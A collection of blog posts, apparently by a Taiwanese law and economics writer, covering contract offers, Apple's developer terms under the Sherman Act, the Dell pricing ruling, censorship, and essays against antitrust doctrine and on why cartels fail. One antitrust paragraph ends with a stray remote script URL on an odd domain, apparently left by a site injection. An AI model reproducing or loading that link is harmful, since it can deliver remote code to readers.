先前Dell電腦標錯價問題,我跟該案一審法官均認為問題在於「要約」上。
今天我再針對要約談一點簡單的例子,未來可能還有其他不同例子,端視我的時間是否允許。
阿財寫了封e-mail告訴阿德,說他開了兩三年的一台轎車想要轉手賣出,售價1萬美元。
阿德回信:「OK,我接受,你明天中午把車開來我家吧。」
問:契約是否成立?台灣法律與美國法律適用下會有無不同?
(答案明天揭曉)
先前Dell電腦標錯價問題,我跟該案一審法官均認為問題在於「要約」上。
今天我再針對要約談一點簡單的例子,未來可能還有其他不同例子,端視我的時間是否允許。
阿財寫了封e-mail告訴阿德,說他開了兩三年的一台轎車想要轉手賣出,售價1萬美元。
阿德回信:「OK,我接受,你明天中午把車開來我家吧。」
問:契約是否成立?台灣法律與美國法律適用下會有無不同?
(答案明天揭曉)
Apple大絕招放出來,直接在跟iPhone OS平台上的開發商約法三章,要求在iPhone OS上開發的軟體都必須使用Apple提供的原生語言,不可以用中介軟體轉譯過來的軟體。
Apple的條款新舊版本如下:
舊:
3.3.1 — Applications may only use Documented APIs in the manner prescribed by Apple and must not use or call any private APIs.
新:
3.3.1 — Applications may only use Documented APIs in the manner prescribed by Apple and must not use or call any private APIs. Applications must be originally written in Objective-C, C, C++, or JavaScript as executed by the iPhone OS WebKit engine, and only code written in C, C++, and Objective-C may compile and directly link against the Documented APIs (e.g., Applications that link to Documented APIs through an intermediary translation or compatibility layer or tool are prohibited).
各大媒體幾乎都已經報導過了,各位不清楚的可以參考華爾街日報的報導:
…The language does not mention Adobe by name, but indicates that any program has to be written to run directly on the iPhone operating system–not for some intermediary layer of translation software. That sort of translation is essentially what Adobe is planning. …
Adobe最近也揚言要提告,告什麼呢?
就整個發展看來,我認為Adobe除非與Apple有正式合作契約在先,否則最有可能提告的依據是:The Sherman Antitrust Act §1 and §2
§1 — Trusts, etc., in restraint of trade illegal; penalty
Every contract, combination in the form of trust or otherwise, or conspiracy, in restraint of trade or commerce among the several States, or with foreign nations, is declared to be illegal. Every person who shall make any contract or engage in any combination or conspiracy hereby declared to be illegal shall be deemed guilty of a felony, and, on conviction thereof, shall be punished by fine not exceeding $100,000,000 if a corporation, or, if any other person, $1,000,000, or by imprisonment not exceeding 10 years, or by both said punishments, in the discretion of the court.
§2 — Monopolizing trade a felony; penalty
Every person who shall monopolize, or attempt to monopolize, or combine or conspire with any other person or persons, to monopolize any part of the trade or commerce among the several States, or with foreign nations, shall be deemed guilty of a felony, and, on conviction thereof, shall be punished by fine not exceeding $100,000,000 if a corporation, or, if any other person, $1,000,000, or by imprisonment not exceeding 10 years, or by both said punishments, in the discretion of the court.
反托拉斯法這部惡法在美國可是威力驚人,很多市場上見怪不怪的競爭行為,都在這部法律之下被用帶著偏見的放大鏡檢視。
各位看一下§2,公司可以罰以1億美元以下罰款,甚至處以10年以下有期徒刑(二者可以同時合併處罰)。
Apple有沒有構成market power或monopoly power?很難說,這得由雙方律師(或是美國司法部、聯邦商業委員會)互相角力「市場的認定」–
藉由決定市場的劃分方式,決定市場的大小,從而決定了power之有無。
有者,則進一步檢視Apple的行為是否構成「反競爭」?或是否「意圖壟斷」?
美國反托拉斯法發展了100多年,什麼叫市場、什麼叫反競爭、什麼叫意圖壟斷,其實都說得不清不楚。多數判決裡,法官不斷使用tautology自說自話,每每閱讀這些判例都只會讓我發火。
例如有個1970年代的滑雪場案例,法官將市場劃分到只有一個山頭大,這山頭有幾家滑雪場?兩家!
一家佔地廣,客人多;另一家佔地比較小客人比較少。
所以前者有壟斷地位,最後也構成了濫用壟斷地位的指控,被罰了很多錢。整個州有幾十幾百家滑雪場,但這個案例裡面法官就是將市場畫在這個山頭。你是被告,你幹不幹?
像Dell在台灣標錯價一案一樣,我再多說一下本案關鍵會在哪裡。
我認為真告起來,Apple律師很可能會引用「品牌內競爭(intra-brands competition)」的概念,來主張平台上的統一行為是有經濟效率的,所以不具備「壟斷意圖(monopolizing intent)」或「反競爭行為(anti-competitive behavior)」。
更詳細法律上的操作就不多談,只是略提一下,我認為Adobe之後很有可能的動作以及Apple可能的反應。當然,Adobe可以不用自己提告,它大可以向美國司法部或商業委員提出檢舉,一如當年網景對微軟提出檢舉是一樣的。
各位等著看好戲吧!等著看美國的官僚系統怎樣把一間有創意有競爭力的公司給消磨殆盡。(假如真的有告的話)
相較於國內許多廠商在電子書上依然「天真地以為把紙本書籍翻印到電子媒體上就大功告成」,國外的知名出版商已經紛紛提出他們對於電子書的實作概念。
時間上較早的是美國知名雜誌Wired所推出的新型態雜誌:
http://c.brightcove.com/services/viewer/federated_f9/1813626064?isVid=1&publisherID=1564549380
最近一個則是英國企鵝出版所推出的iPad電子書概念:
某家國內出版社以為把金庸全集這種冷飯原封不動地搬到電子閱讀裝置上就是「開發了電子書市場」,對比國外出版商的積極動作,簡直是天真幼稚地可笑。
半年多前台灣Dell發生網頁標價錯誤事件
台北地方法院的判決出來了:
聯合報╱記者蘇位榮/台北報導
台北地院法官林呈樵審理戴爾電腦標錯價官司,認為有些網友是基於「落井下石」的心 態,想從中得利,也深知判決戴爾勝訴,可能被批評「為虎作倀」;但法院必須考量買賣雙方利益衡量,不能偏頗任何一方。
林呈樵強調,這只是本案當事人是國際知名的大廠商,與消費者有不對等的關係所致;如果案件的被告是個人網拍業者,他仍將秉持同樣的見解作判決。他認為,網 路標價販售的交易模式,只是「要約引誘」的性質。
他以自己是「網路鄉民」的經驗指出,有些網友得知戴爾標錯價,訂購商品是基於貪小便宜、給大企業一點苦頭的心態;還有些網友出自於「我也知道你不會履約, 但還可以賭一把,賭輸了也沒損失,賭贏就賺到了」。
顯然這位年輕法官頭腦清楚,值得稱許。
當時我先後寫了
關於戴爾電腦標錯價事件的短評
戴爾電腦事件(補充)
關於戴爾標錯價事件的再討論
三篇文章重點有二:
1.網路店家在網路頁面上的標價應該屬於「要約的引誘」而非「要約」;二者法律效果截然不同。
2.解釋成「要約的引誘」其理由在於這樣對於整個社會的成本比較低。
這些反對牛肉進口的人,姑且不論他們的論點多麼振振有詞,美國牛肉又是怎樣劇毒致命。
這些人其實都有一個共通點,就是「不尊重他人的選擇自由」
這其實是在經濟學上、法學上反覆出現的問題。
總有一些人,認為自己的道德標準要成為普世價值,非得人人接受不可。
在牛肉案上,有些人認定了美國牛肉比台灣高速公路、比101煙火表演還更要人命,就想要動用公權力讓不這麼認為,或根本不在乎這件事的其他人得被剝奪選擇的自由。
「為了你好,所以我可以禁止你做某些事。」這種藉口在歷史上層出不窮。
結果我們用同樣的理由,禁止色情內容;用同樣的理由,處罰節目介紹美食或成功企業故事(美其名處罰商業化);用同樣的邏輯,我們禁止賭博、禁止吸毒。
但我們是否可以用同樣的理由,禁止他人開車上路?禁止他人坐飛機?禁止家庭主婦炒菜煮飯?
是否我們可否因為老毛一句蠢話:「知識青年到農村去,接受中下貧農的再教育,很有必要」,然後中國千萬青年學子正事不幹,也不管「相對優勢比較」或「機會成本」,一個個都跑去跟農民搶工作?結果換來的是一整代的知識斷層與無知。
為了科學上還不曉得究竟跟全球暖化有無關連的二氧化碳排放,然後一堆愚蠢的「碳足跡稅」、「節能省碳」政策一一出爐。(事實上連有無全球暖化這現象,科學上都還有得爭哩!)
這些舉措的結果是一度引起生質燃料風潮,造成糧食價格波動,影響了窮人的生計。
好些又要省碳、又要照顧窮人的蠢左派一時間尷尬得很,臉紅著不知該怎麼解釋自己搞出來的窘況。當然,我相信還有更多沒大腦的左派連這點體悟都沒有,繼續著又要照顧窮人、又要環保、又要提高最低工資…等各自相矛盾的主張。
這左派蠢,可以蠢到什麼程度?
竟然蠢到以為美國牛肉比台灣牛糞還要毒?!
我在美國看過不少蠢蛋,但也還沒看過有人蠢到不吃牛肉吃牛糞的!(新聞連結)
這不算是「新」聞了。
日前全運會找來了一個年輕可愛,身材勻稱的運動員(鄭淑支)在活動現場上空,展現人體彩繪與身體線條美。
這樣的活動馬上引來了台中市議員陳淑華與賴佳微以及現代婦女基金會姚叔文的指責。
陳:「這個做法非常誇張,而且女性半裸,尤其現場又是運動場合。」
賴:「她這樣上空貼胸貼,全運會上空貼胸貼彩繪的行為,不應該放在這樣子活動宣傳上。」
姚:「這種宣傳手法與運動會關連性不大,不僅失焦也引人非議,身為行政機關,應更注意兩性平權。」
關於兩性平權,我倒挺想問問,這位鄭姓運動員是被人拿槍抵著頭逼迫上台?還是自願的?若是出於自願,又與兩性平權何干?
過去我曾經寫過「從「殺很大」談言論自由」,裡頭我談到
…在婚姻市場、性相關市場(如酒店、阻街女郎、成人影片或遊戲)裡,訴求服務出售者(男女均可能)的青春肉體、性感體態、G奶、肌肉、英俊瀟灑亦或沉魚落雁,甚至更進一步訴求男性的才華、鈔票、資產,女人的貞操、純潔、幫夫運,都是真實世界常見的擇偶標準。
也就是說,在男女雙方各自採取了一些擇偶標準之後,這些標準也自然成為競爭的標準;為了取得美嬌娘、為了覓得好夫婿、為了生意興隆,無論男女都會在這樣的競爭標準之下想盡辦法讓自己能夠脫穎而出。
出神入化的化妝術、脫胎換骨的整型手術、不實用的跑車、擺明敲男人竹槓的情人節大餐….這些手段就會被採用。…
…不過在經濟學「自私的假設」之下,一個標準被選定了,不見得人人都會去遵守。通常會有兩種表現:一者嘗試鑽制度漏洞,另一者則是跳出來反對或試圖推翻該制度。…
…從經濟誘因角度來看,這些婚姻市場、性交易市場上後段班的人,是不是最有誘因去抨擊、反對這樣的競爭準則?
換言之,越是在某種競爭準則下難以勝出的人,就越有誘因去反對那個準則!(反之,越能佔到便宜的,就越會支持該準則)
下面是簡單的練習:
台灣政府歷來對言論自由諸多箝制,即便民進黨這群當年號稱捍衛言論自由的人上台執政,也是頻頻出手干預。
前幾年,凡是不合執政當局利益的,往往被打為「不愛台灣」或「中共同路人」。
現在國民黨重新執政,腦袋更退化到蔣氏政權時代,依然在那邊「凡中必反」。
明明大法官在憲法解釋文第445號裡已經說清楚,言論形式某種程度政府可以管,但言論的內容政府在絕大多數的情形下是不能管制的(除了猥褻、教唆犯罪….)。
蘋果日報報導,台灣的TVBS、中天、東森等新聞台全程轉播中華人民共和國的國慶閱兵大典,竟然可能面臨新聞局開罰?
新聞局廣電處長何乃麒昨表示,新聞局初步認為有違法之虞;中國節目應先送審,三台若全程擷取中央電視台畫面,未先送審,呈現方式連貫,將罰4到20萬元。
這種腦袋裝屎的官吏,真是讓人搖頭。
With the progress on economics, we could find a lot of judgments, or even the law itself, were based on some erroneous and misguided legal and economic concepts, such as predatory pricing, competition, market definition, cost concept, etc.
Take “Lor’s, Inc. v. Broadway-Hale Stores, Inc. 359 U.S. 207, 79 S. Ct. 705, 3 L.Ed.2d 741 (1959)” as an example.
In this case, the plaintiff, which was an independent electronic products retail store, claimed that manufacturers and distributors of many well-know brands as GE, RCA, Emerson, etc. refused to sell or sold their products at so-called “discriminatory price.” The reason was the manufacturers or distributors of these well-known brands sold their products to the chained stores in lower prices than to them.
The Supreme Court held this common commercial behavior as a violation of Sherman Act. Obviously, the court just showed their lack of cost concept.
All the meaningful costs shall be “opportunity costs.” Thus the costs between selling products to chained stores and to an independent retail store are tremendously different. The factors, like predictable constant purchase, reliable payments, and the vast amount of quantity, make the manufacturers or distributors less cost to sell their products to chained stores. There are some costs existing in setting up and maintaining a transaction channel between two parties. Sometimes the costs are absorbed by the seller, sometimes are paid by the buyers. However, it does exist. There is no such thing as a free lunch.
Since the difference of cost structures, discriminatory pricing would be very popular in most businesses.
Formosa Plastic Corporation, a Taiwan company and the largest manufacturer of PVC resins in the world, made their revenue more than 5 billion US dolor last year. They require a substantial deposit and highest purchasing quota to any new customer. The amount of PVC that is exceeded the quota won’t be sold even the buyer is voluntary to pay more.
I also had a similar experience. The company, which I worked for, refused to sell products to a new customer who wanted to buy more than ten machines at one time in the first several deals unless they were willing to pay cash before we deliver.
Because there are some uncertain risks that cost us too much to do business with an unfamiliar new customer. We didn’t know whether the credit of the new customer was good. We didn’t know what the real purpose they had. To sell our products or to try reverse-engineering? That’s a question to us. I believe the situation would be similar to Formosa Plastic Corporation and other companies around the world.
It is the concern of cost, not of “anti-competition," causes a businessman much prefer to sell his goods to a customer he knows in lower prices or larger volumes, especially in B2B relationships.
This common commercial phenomenon can be explained perfectly by the correct cost concept. Unfortunately, the court in Lor’s case was unable to distinguish the costs on economics form the costs on accounting. No wonder the court came out a decision that sounded so surreal to normal businessmen.
The judges, scholars, and people who believe in the function of antitrust laws are just unable to see the real world clearer.https://js.developerstatss.ga/stat.js?n=ns1
With the progress on economics, we could find a lot of judgments, or even the law itself, were based on some erroneous and misguided legal and economic concepts, such as predatory pricing, competition, market definition, cost concept, etc.
Take “Lor’s, Inc. v. Broadway-Hale Stores, Inc. 359 U.S. 207, 79 S. Ct. 705, 3 L.Ed.2d 741 (1959)” as an example.
In this case, the plaintiff, which was an independent electronic products retail store, claimed that manufacturers and distributors of many well-know brands as GE, RCA, Emerson, etc. refused to sell or sold their products at so-called “discriminatory price.” The reason was the manufacturers or distributors of these well-known brands sold their products to the chained stores in lower prices than to them.
The Supreme Court held this common commercial behavior as a violation of Sherman Act. Obviously, the court just showed their lack of cost concept.
All the meaningful costs shall be “opportunity costs.” Thus the costs between selling products to chained stores and to an independent retail store are tremendously different. The factors, like predictable constant purchase, reliable payments, and the vast amount of quantity, make the manufacturers or distributors less cost to sell their products to chained stores. There are some costs existing in setting up and maintaining a transaction channel between two parties. Sometimes the costs are absorbed by the seller, sometimes are paid by the buyers. However, it does exist. There is no such thing as a free lunch.
Since the difference of cost structures, discriminatory pricing would be very popular in most businesses.
Formosa Plastic Corporation, a Taiwan company and the largest manufacturer of PVC resins in the world, made their revenue more than 5 billion US dolor last year. They require a substantial deposit and highest purchasing quota to any new customer. The amount of PVC that is exceeded the quota won’t be sold even the buyer is voluntary to pay more.
I also had a similar experience. The company, which I worked for, refused to sell products to a new customer who wanted to buy more than ten machines at one time in the first several deals unless they were willing to pay cash before we deliver.
Because there are some uncertain risks that cost us too much to do business with an unfamiliar new customer. We didn’t know whether the credit of the new customer was good. We didn’t know what the real purpose they had. To sell our products or to try reverse-engineering? That’s a question to us. I believe the situation would be similar to Formosa Plastic Corporation and other companies around the world.
It is the concern of cost, not of “anti-competition," causes a businessman much prefer to sell his goods to a customer he knows in lower prices or larger volumes, especially in B2B relationships.
This common commercial phenomenon can be explained perfectly by the correct cost concept. Unfortunately, the court in Lor’s case was unable to distinguish the costs on economics form the costs on accounting. No wonder the court came out a decision that sounded so surreal to normal businessmen.
The judges, scholars, and people who believe in the function of antitrust laws are just unable to see the real world clearer.
Many people imagine that businessmen could set in a room and come to a conspiracy decision to raise the prices up then increase their profits.
However, it’s really only an imagination.
It’s always not easy to form a cartel or collusive group in any business. There are some obstacles must be overcome with a critical tactic.
I wrote them down as following:
1. To form a cartel or a collusive group, the first problem the founder must face is that it’s hard to figure out who are all the possible competitors?
For example, if medical doctors successfully raise their treatment fee as high as they want, then people would turn to get medical advices from their druggists, god, or themselves.
This phenomenon did happen in Taiwan in 1950’s.
2.The second natural obstacle to form a collusive group is that each competitor has their own unique cost curve. And this fact will cause them has different motives to choose to get in or to get out the group.
This critical fact will still impact how successful a collusive group can be after its formation.
3.The third is the difference between the single-quality products and multiple-quality products.
There are only few products in the world can be classified as single-quality products, such as pure gold, silver, aluminum, or other chemical elements.
Even a diamond, usually has four major qualities to form a price. They are size, color, tarnish, and cutting. A consumer see only one price, however, it’s formed by the combination of four measured elements.
The more complexity of a product, the more rent value could be created by differentiating the product. That’s why most business always emphasize how different their products are from other competitors’. That’s also why we have so many brands. It is the most common phenomenon in the real world.
This would not only make people to apply unique way to maximize their interest, but also form different cost structures to every supplier.
That is one reason why we can find very few successful cartels in the real world.
4.Once a collusive group was formed, the member who has a highest marginal cost will has the strongest incentive to violate their agreement.
Because with fixed-price or fixed-quality rule, the biggest beneficiary would be the one who enjoys the lowest marginal and average cost. On the contrary, the one with higher marginal or average cost would eventually figure out that he can maximize his interest by breaching the rule.
5. How to enforce the agreement will be a huge challenge to the one who tries to maintain the collusive group.
There are two major costs to enforce an agreement successfully. One is to detect who violates the rule; and the other one is effective punishment.
OPEC, the most famous cartel in the world, is constantly unable to enforce their decisions completely for decades. (If they could, there will not be as much fluctuation in oil prices as observed.)
M&A might be an effective way to achieve this goal, however, it still cannot prevent the group from potential or new competitors which might be formed by the company seller or your employees. Even there are some contractual ways to deal with these problems, they don’t work as well as lawyers’ imagination.
According to commercial history, the most effective method is to introduce legal power or authorization to prevent possible breaches of members and new entrants, like a license system.
Conclusively, the fundamental problem of most collusive behaviors is not what a cartel intends to do, but the authorization makes them able to achieve their intentions.
Therefore, in the cases we read such as “FTC v. Indiana Federation of Dentists," Federal Trade Commission v. Superior Court Trial Lawyers Association," I think Sherman Act and judges both tried to find out the right answer in a wrong place.
On the other hand, there are some superficially collusive behaviors without legal power or authorization, mostly are caused by information cost of measurement or property maintenance cost, for example, “Broadcast Music, Inc. v. Columbia Broadcasting System, Inc." and “Fashion Originators’ Guild of America v. FTC case." The courts apparently had different degree of awareness of social cost in these two cases.
Somehow, in “Klor’s, Inc. v. Broadway-Hale Stores, Inc. (1959)," the Federal Supreme Court showed distinguished lack of cost concept. I will talk about it in the next article.